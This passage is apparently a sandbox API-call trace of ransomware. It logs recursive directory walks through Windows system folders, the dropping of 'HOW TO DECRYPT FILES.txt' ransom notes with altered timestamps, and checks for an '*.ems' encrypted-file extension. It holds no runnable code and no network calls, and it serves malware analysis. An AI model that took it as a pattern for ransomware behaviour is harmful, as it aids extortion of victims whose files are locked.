lpString2="DtcInstall.log") returned -1 [0127.099] PathFindFileNameA (pszPath="C:\\Windows\\*.*") returned="*.*" [0127.099] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0127.099] PathAddBackslashA (in: pszPath="C:\\Windows\\" | out: pszPath="C:\\Windows\\") returned="" [0127.099] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\HOW TO DECRYPT FILES.txt" [0127.099] GetFileAttributesA (lpFileName="C:\\Windows\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\how to decrypt files.txt")) returned 0x20 [0127.099] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="DtcInstall.log" | out: lpString1="C:\\Windows\\DtcInstall.log") returned="C:\\Windows\\DtcInstall.log" [0127.099] PathMatchSpecA (pszFile="C:\\Windows\\DtcInstall.log", pszSpec="*.ems") returned 0 [0127.100] lstrcmpA (lpString1=".", lpString2="ehome") returned -1 [0127.100] lstrcmpA (lpString1="..", lpString2="ehome") returned -1 [0127.100] PathFindFileNameA (pszPath="C:\\Windows\\DtcInstall.log") returned="DtcInstall.log" [0127.100] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="ehome" | out: lpString1="C:\\Windows\\ehome") returned="C:\\Windows\\ehome" [0127.100] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0127.102] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.102] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.102] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.102] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.102] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BDATunePIA.dll") returned 1 [0127.103] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BDATunePIA.dll") returned 1 [0127.103] lstrcmpiA (lpString1="", lpString2="BDATunePIA.dll") returned -1 [0127.103] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\*.*") returned="*.*" [0127.103] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\" | out: lpString1="C:\\Windows\\ehome\\") returned="C:\\Windows\\ehome\\" [0127.103] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\" | out: pszPath="C:\\Windows\\ehome\\") returned="" [0127.103] lstrcatA (in: lpString1="C:\\Windows\\ehome\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt" [0127.103] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\how to decrypt files.txt")) returned 0xffffffff [0127.103] CreateFileA (lpFileName="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0127.116] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.116] CloseHandle (hObject=0x84) returned 1 [0127.117] lstrcatA (in: lpString1="C:\\Windows\\ehome\\", lpString2="BDATunePIA.dll" | out: lpString1="C:\\Windows\\ehome\\BDATunePIA.dll") returned="C:\\Windows\\ehome\\BDATunePIA.dll" [0127.117] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\BDATunePIA.dll", pszSpec="*.ems") returned 0 [0127.117] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.117] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BmlDataCarousel.dll") returned 1 [0127.117] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BmlDataCarousel.dll") returned 1 [0127.117] lstrcmpiA (lpString1="", lpString2="BmlDataCarousel.dll") returned -1 [0127.117] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\BDATunePIA.dll") returned="BDATunePIA.dll" [0127.117] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\" | out: lpString1="C:\\Windows\\ehome\\") returned="C:\\Windows\\ehome\\" [0127.117] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\" | out: pszPath="C:\\Windows\\ehome\\") returned="" [0127.117] lstrcatA (in: lpString1="C:\\Windows\\ehome\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt" [0127.117] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\how to decrypt files.txt")) returned 0x20 [0127.118] lstrcatA (in: lpString1="C:\\Windows\\ehome\\", lpString2="BmlDataCarousel.dll" | out: lpString1="C:\\Windows\\ehome\\BmlDataCarousel.dll") returned="C:\\Windows\\ehome\\BmlDataCarousel.dll" [0127.118] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\BmlDataCarousel.dll", pszSpec="*.ems") returned 0 [0127.118] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.118] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cbva.dll") returned 1 [0127.118] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cbva.dll") returned 1 [0127.118] lstrcmpiA (lpString1="", lpString2="cbva.dll") returned -1 [0127.118] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\BmlDataCarousel.dll") returned="BmlDataCarousel.dll" [0127.118] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\" | out: lpString1="C:\\Windows\\ehome\\") returned="C:\\Windows\\ehome\\" [0127.118] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\" | out: pszPath="C:\\Windows\\ehome\\") returned="" [0127.118] lstrcatA (in: lpString1="C:\\Windows\\ehome\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt" [0127.118] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\how to decrypt files.txt")) returned 0x20 [0127.119] lstrcatA (in: lpString1="C:\\Windows\\ehome\\", lpString2="cbva.dll" | out: lpString1="C:\\Windows\\ehome\\cbva.dll") returned="C:\\Windows\\ehome\\cbva.dll" [0127.119] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\cbva.dll", pszSpec="*.ems") returned 0 [0127.119] lstrcmpA (lpString1=".", lpString2="CreateDisc") returned -1 [0127.119] lstrcmpA (lpString1="..", lpString2="CreateDisc") returned -1 [0127.119] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\cbva.dll") returned="cbva.dll" [0127.119] lstrcatA (in: lpString1="C:\\Windows\\ehome\\", lpString2="CreateDisc" | out: lpString1="C:\\Windows\\ehome\\CreateDisc") returned="C:\\Windows\\ehome\\CreateDisc" [0127.119] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8ba92c, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf231d1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502518 [0127.123] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.124] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.124] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.124] lstrcmpA (lpString1=".", lpString2="Components") returned -1 [0127.124] lstrcmpA (lpString1="..", lpString2="Components") returned -1 [0127.124] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\*.*") returned="*.*" [0127.124] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="Components" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components") returned="C:\\Windows\\ehome\\CreateDisc\\Components" [0127.124] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cc4e394, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.126] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.126] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.126] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.126] lstrcmpA (lpString1=".", lpString2="tables") returned -1 [0127.126] lstrcmpA (lpString1="..", lpString2="tables") returned -1 [0127.126] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\*.*") returned="*.*" [0127.127] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\", lpString2="tables" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables" [0127.127] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc4e394, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.132] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.132] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.132] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.132] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.132] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1cb0") returned 1 [0127.132] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1cb0") returned 1 [0127.132] lstrcmpiA (lpString1="", lpString2="1cb0") returned -1 [0127.132] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\*.*") returned="*.*" [0127.132] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.132] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.132] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.132] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0xffffffff [0127.133] CreateFileA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0127.135] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.135] CloseHandle (hObject=0x90) returned 1 [0127.136] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="1cb0" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb0") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb0" [0127.136] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb0", pszSpec="*.ems") returned 0 [0127.136] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.136] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1cb1") returned 1 [0127.136] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1cb1") returned 1 [0127.136] lstrcmpiA (lpString1="", lpString2="1cb1") returned -1 [0127.136] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb0") returned="1cb0" [0127.136] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.136] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.136] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.136] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.136] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="1cb1" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb1") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb1" [0127.136] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb1", pszSpec="*.ems") returned 0 [0127.137] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.137] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1cb2") returned 1 [0127.137] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1cb2") returned 1 [0127.137] lstrcmpiA (lpString1="", lpString2="1cb2") returned -1 [0127.137] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb1") returned="1cb1" [0127.137] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.137] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.137] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.137] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.137] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="1cb2" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb2") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb2" [0127.137] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb2", pszSpec="*.ems") returned 0 [0127.137] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.137] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1th0") returned 1 [0127.137] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1th0") returned 1 [0127.138] lstrcmpiA (lpString1="", lpString2="1th0") returned -1 [0127.138] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1cb2") returned="1cb2" [0127.138] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.138] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.138] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.138] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.138] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="1th0" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th0") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th0" [0127.138] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th0", pszSpec="*.ems") returned 0 [0127.138] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.138] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1th1") returned 1 [0127.138] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1th1") returned 1 [0127.138] lstrcmpiA (lpString1="", lpString2="1th1") returned -1 [0127.138] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th0") returned="1th0" [0127.138] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.138] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.138] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.138] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.139] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="1th1" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th1") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th1" [0127.139] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th1", pszSpec="*.ems") returned 0 [0127.139] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.139] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1th2") returned 1 [0127.139] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1th2") returned 1 [0127.139] lstrcmpiA (lpString1="", lpString2="1th2") returned -1 [0127.139] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th1") returned="1th1" [0127.139] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.139] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.139] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.139] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.139] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="1th2" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th2") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th2" [0127.139] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th2", pszSpec="*.ems") returned 0 [0127.140] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.140] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2cb0") returned 1 [0127.140] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2cb0") returned 1 [0127.140] lstrcmpiA (lpString1="", lpString2="2cb0") returned -1 [0127.140] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\1th2") returned="1th2" [0127.140] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.140] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.140] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.140] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.140] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="2cb0" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb0") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb0" [0127.140] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb0", pszSpec="*.ems") returned 0 [0127.140] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.140] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2cb1") returned 1 [0127.141] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2cb1") returned 1 [0127.141] lstrcmpiA (lpString1="", lpString2="2cb1") returned -1 [0127.141] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb0") returned="2cb0" [0127.141] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.141] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.141] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.141] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.141] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="2cb1" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb1") 